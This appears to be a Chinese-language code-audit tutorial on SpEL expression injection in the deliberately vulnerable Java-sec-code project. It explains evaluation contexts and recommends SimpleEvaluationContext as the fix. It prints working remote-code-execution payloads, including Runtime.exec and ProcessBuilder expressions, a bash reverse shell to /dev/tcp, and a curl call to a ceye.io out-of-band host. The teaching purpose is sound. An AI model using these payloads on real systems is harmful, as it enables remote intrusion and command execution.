一、什么是 SpEL
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言,支持 运行时 查询和操作对象图 。SpEL 可以独立于 Spring 容器使用,但只是被当作成简单的表达式语言来使用。在未对用户的输入做严格的检查,以及错误使用 Spring 表达式语言时,就有可能产生表达式注入漏洞。
- SpEL执行过程: 字符串 -> 语法分析 -> 生成表达式对象 -> (添加执行上下文) -> 执行此表达式对象 -> 返回结果
- 表达式(“干什么”):SpEL 的核心,所以表达式语言都是围绕表达式进行的
- 解析器(“谁来干”):用于将字符串表达式解析为表达式对象
- 上下文(“在哪干”):表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等
- root根对象及活动上下文对象(“对谁干”):root根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
二、StandardEvaluationContext 和 SimpleEvaluationContext
在 SpEL 中,EvaluationContext 是用于评估表达式和解析属性、方法以及字段并蚌住执行类型转换的接口。该接口有两种实现,分别为 SimpleEvaluationContext 和 StandardEvaluationContext
在 默认情况下使用 StandardEvaluationContext 对表达式进行评估。
- SimpleEvaluationContext:针对 不需要 SpEL 语言语法的全部范围并且应该 受到有意限制 的表达式类别,公开 SpEL 语言特性和配置选项的子集。
- StandardEvaluationContext:公开 全套 SpEL 语言功能和配置选项。用户 可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
当使用 StandardEvaluationContext 进行上下文评估时,由于 StandardEvaluationContext 权限过大,可以 执行 Java 任意代码。
public class StdEC {
public static void main(String[] args) {
String expressionStr = "T(Runtime).getRuntime().exec(\"calc\")";
// 创建解析器
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 将该表达式,解析成为一个 Expression 对象
Expression expression = parser.parseExpression(expressionStr);
System.out.println(expression.getValue(evaluationContext));
}
}
由于 Java-sec-code 项目的 spring-expression 版本为 4.3.6 没有 SimpleEvaluationContext 。
我们去 Maven 仓库 中搜索 spring-expression 更新版本使用 SimpleEvaluationContext 。
我选择是的 5.2.6 RELEASE 版本。
更新依赖包
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.2.6.RELEASE</version>
</dependency>
相比于 StandardEvaluationContext,SimpleEvaluationContext 的权限要小许多,在使用 SimpleEvaluationContext 进行上下文评估时,无法使用 Runtime.class 执行任何系统命令。
三、Java-sec-code sp-el 代码审计
开始审计 SpEL 类,可以看到代码中并没有指定哪个 评估上下文(EvaluationConrtext)。
由上文所说,这样用来让表达式执行的环境就是默认的 StandardEvaluationContext 了。
执行的 expression 参数由用户来输入,而且没有存在一些参数过滤 或者 黑名单、白名单的进行防护。这样就存在恶意的调用 Runtime 类 或者 ProcessBuilder 类,导致远程执行。
说到底还是太相信用户的输入了。
由于没有回显,可以反弹 shell 或者使用 dnslog 平台 或者 ceye 平台(不知道为什么反弹 shell 连接不上,ceyo 平台执行不了命令......)
bash -i >& /dev/tcp/ip/port 0>&1
curl xxx.ceye.io
// window 可以构建以下 POC
expression=T(java.lang.Runtime).getRuntime().exec('calc')
// linux 反弹shell 如果直接输入 & 字符就会截断后面的输入 所以我们使用 url 编码 %26 来代替 &
expression=T(java.lang.Runtime).getRuntime().exec('bash -i >%26 /dev/tcp/192.168.1.1/5555 0>%261')
// 或者使用 ProcessBuilder
expression=new java.lang.ProcessBuilder.('calc').start()
修复代码使用 SimpleEvaluationContext 限制用户输入的调用权限,由于 Java-sec-code 项目的 spring-expression 版本为 4.3.6 没有 SimpleEvaluationContext ,所以就不演示了。
参考:《Java 代码审计 入门篇》、SpEL 你感兴趣的实现原理浅析